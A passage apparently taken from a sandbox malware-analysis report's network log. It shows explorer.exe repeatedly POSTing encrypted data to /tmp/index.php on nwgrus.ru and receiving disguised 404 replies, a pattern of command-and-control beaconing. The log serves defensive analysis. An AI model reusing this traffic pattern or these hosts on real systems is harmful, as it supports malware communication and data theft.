2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	61427	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:59.025120974 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oawojikvjxqxudp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: nwgrus.ru
Oct 8, 2024 18:23:59.025186062 CEST	244	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 20 0f b7 a3 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu m2.[T_cxN\Wz#8;&WO%iw_='tMr$\|MTvV'~G8M&GMTT"gwgUF
Oct 8, 2024 18:23:59.889595985 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:59 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	61428	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:59.901226997 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xlurbvunmfixk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: nwgrus.ru
Oct 8, 2024 18:23:59.901226997 CEST	320	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 3e 0f a1 e5 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu>nX\eo"jyQXg(cN9d#QNV9(1A7&76f3<-D7sW)"vu0Ot=54'd
Oct 8, 2024 18:24:00.795069933 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:24:00 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	61429	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:24:00.807672024 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kamxftfsfgaby.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: nwgrus.ru
Oct 8, 2024 18:24:00.807698011 CEST	116	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 16 6b 2c 90 f5 76 0b 75 66 5b ab ba Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vuf[Y]^`Zw77]}%l
Oct 8, 2024 18:24:01.753901005 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:24:01 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	61430	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:24:01.761770964 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oqmylvnapebvw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: nwgrus.ru
Oct 8, 2024 18:24:01.761794090 CEST	298	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 17 6b 2c 90 f5 76 0b 75 65 1f d0 f7 Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vuei9_ON`J2zYt(b<OwPZ'dzg>Pj1fODG~^g'`f+^=&aiMpak2\`
Oct 8, 2024 18:24:02.629125118 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:24:02 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	61455	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:25:08.842891932 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hyeljwvkydclsem.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: nwgrus.ru
Oct 8, 2024 18:25:08.842936039 CEST	221	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 72 22 ab 9f Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA .[k,vur"s-fCr\|D=\u$vE%k[9CzYY,%5/D#EXAU4Et.,MK
Oct 8, 2024 18:25:09.724469900 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:25:09 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	61456	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:25:10.395896912 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ovnkboilnwpev.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 185 Host: nwgrus.ru
Oct 8, 2024 18:25:10.395910025 CEST	185	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 62 49 a6 97 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA .[k,vubIO~bpy9SM`!HGKG"7#%NV&6bm\\Y/\
Oct 8, 2024 18:25:11.260760069 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:25:11 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	61457	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:25:16.983130932 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://elavhytildeantb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 307 Host: nwgrus.ru
Oct 8, 2024 18:25:16.983166933 CEST	307	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 7b 54 d5 be Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA .[k,vu{T2E\|w0 F!/_`40aX?G H7GQs"_{x]%5wN63gl$\rt=96
Oct 8, 2024 18:25:17.848952055 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:25:17 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	61458	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:25:24.807482958 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qvpxnipvuyciicri.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 192 Host: nwgrus.ru
Oct 8, 2024 18:25:24.807482958 CEST	192	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 55 30 a4 85 Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA .[k,vuU0`F`r?y2RDF@'w!"~>R=iR'T]c@w5
Oct 8, 2024 18:25:25.693137884 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:25:25 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	61459	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:25:34.039405107 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nsxfaafbvsvkfwb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: nwgrus.ru
Oct 8, 2024 18:25:34.039423943 CEST	368	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 22 1c a7 fa Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA .[k,vu"P4ClK[\|Oz_\/y}s1G'cu(_r9#, 3@y>[?a[+R3^<rZZC=^eu`UG
Oct 8, 2024 18:25:34.892144918 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:25:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	61461	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:25:45.764981985 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://euvycibbjmraba.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 340 Host: nwgrus.ru
Oct 8, 2024 18:25:45.765023947 CEST	340	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 70 42 d6 a1 Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA .[k,vupBa"cCB0$J0}jiII{G[N=EAJ5>dvG3MC.J@\{$'Vew>@SwP-T]Q-
Oct 8, 2024 18:25:46.637793064 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:25:46 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	61462	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:25:59.053148985 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://istrtdmsewdifyn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 241 Host: nwgrus.ru
Oct 8, 2024 18:25:59.053181887 CEST	241	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 5f 3e c7 fd Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA .[k,vu_>[PlxMdMevC?w j-Qo3'Zi@-.a{oI\pysu;:Y`.aB/0o#I%z
Oct 8, 2024 18:25:59.918047905 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:25:59 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	61464	190.249.249.14	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:26:16.351247072 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://chihuprqnvownoad.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 284 Host: nwgrus.ru
Oct 8, 2024 18:26:16.351275921 CEST	284	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 21 3e e5 a3 Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA .[k,vu!>_cbjOn^c$N:yayKE/Xq\|FB)WJc^T.JGyP^B?a<cZc1e)Mociz[g"BJ3
Oct 8, 2024 18:26:17.379561901 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:26:17 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	61466	190.249.249.14	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:26:35.191060066 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://muicqrvubdhbsy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: nwgrus.ru
Oct 8, 2024 18:26:35.191082001 CEST	317	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 47 25 de 88 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA .[k,vuG%S"b\|Jcw3=]J=\|SccJ^OF_[&!fDn}V9\:]V96lW` Ogg=$e
Oct 8, 2024 18:26:36.768918991 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:26:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Oct 8, 2024 18:26:36.769020081 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:26:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Oct 8, 2024 18:26:37.025470018 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:26:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	61469	190.249.249.14	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:26:54.070030928 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xfevllovssfdblv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: nwgrus.ru
Oct 8, 2024 18:26:54.070061922 CEST	180	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 51 49 d5 bd Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA .[k,vuQI\|7ORgaFJF:Z;;I}2@Cm?HFU:R<zLo'!`
Oct 8, 2024 18:26:55.069500923 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:26:54 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	61410	23.145.40.164	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
